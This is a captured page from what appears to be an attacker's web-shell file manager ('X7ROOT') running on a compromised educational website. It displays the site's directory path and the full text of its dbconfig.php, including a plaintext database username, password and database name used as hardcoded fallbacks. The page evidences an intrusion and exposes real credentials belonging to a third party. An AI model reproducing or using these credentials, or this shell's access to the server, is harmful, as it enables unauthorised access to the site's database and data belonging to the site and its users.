X7ROOT File Manager
Current Path:
/home/u126090504/domains/gurugyanacademy.in/public_html/admin/database
home
/
u126090504
/
domains
/
gurugyanacademy.in
/
public_html
/
admin
/
database
/
📁
..
📄
dbconfig.php
(1.64 KB)
Editing: dbconfig.php
<?php // Use environment variables or a configuration file for sensitive data $server_name = getenv('DB_HOST') ?: 'localhost'; $db_username = getenv('DB_USER') ?: 'u126090504_guru'; $db_password = getenv('DB_PASS') ?: '8984234299Aa@#'; $db_name = getenv('DB_NAME') ?: 'u126090504_guru'; // Create a connection using the object-oriented approach $connection = new mysqli($server_name, $db_username, $db_password, $db_name); // Check connection if ($connection->connect_error) { // Log the error for debugging purposes (do not display to users) error_log("Database connection failed: " . $connection->connect_error); // Display a user-friendly error message echo ' <div class="container"> <div class="row"> <div class="col-md-8 mr-auto ml-auto text-center py-5 mt-5"> <div class="card"> <div class="card-body"> <h1 class="card-title bg-danger text-white">Database Connection Failed</h1> <h2 class="card-title">Database Failure</h2> <p class="card-text">Please check your database connection.</p> <a href="#" class="btn btn-primary">:(</a> </div> </div> </div> </div> </div> '; exit(); // Stop script execution after displaying the error } // Optional: Set the character set for the connection $connection->set_charset("utf8mb4"); // Your subsequent database operations go here // Close the connection when done // $connection->close(); ?>
Upload File
Create Folder